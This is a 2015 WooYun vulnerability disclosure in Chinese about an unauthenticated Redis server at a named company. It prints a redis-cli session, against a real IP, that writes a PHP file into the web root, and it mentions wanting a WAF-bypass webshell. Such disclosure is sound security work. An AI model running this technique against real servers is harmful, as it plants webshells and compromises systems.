当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0115599

漏洞标题：闪动某站redis未授权可shell

相关厂商：闪动科技

漏洞作者： mango

提交时间：2015-05-22 19:19

修复时间：2015-05-27 19:20

公开时间：2015-05-27 19:20

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-22： 细节已通知厂商并且等待厂商处理中
2015-05-27： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

http://114.112.84.135/info.php
路径在这

root@kali:~/redis-2.8.19# src/redis-cli -h 114.112.84.135
114.112.84.135:6379> config set dir /var/www/
OK
114.112.84.135:6379> config set dbfilename redis.php
OK
114.112.84.135:6379> set webshell "<?php phpinfo(); ?>"
OK
114.112.84.135:6379> save
OK


http://114.112.84.135/redis.php

漏洞证明：

8YDS(XF{1RI3M}H_I@}`3{B.png


因为有安全狗 没有连接上去~~暂时手里没有过安全狗的一句话~

修复方案：

版权声明：转载请注明来源 mango@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-05-27 19:20

厂商回复：

漏洞Rank：15 (WooYun评价)

最新状态：

暂无

漏洞评价：

评论

  1. 2015-05-22 22:23 | scanf ( 核心白帽子 | Rank:1232 漏洞数:186 | 。)

    red***

  2. 2015-05-26 09:15 | 韩客西 ( 路人 | Rank:0 漏洞数:1 | 学习安全，和大家共同营造一个安全的网络环...)

    关注，redis如何shell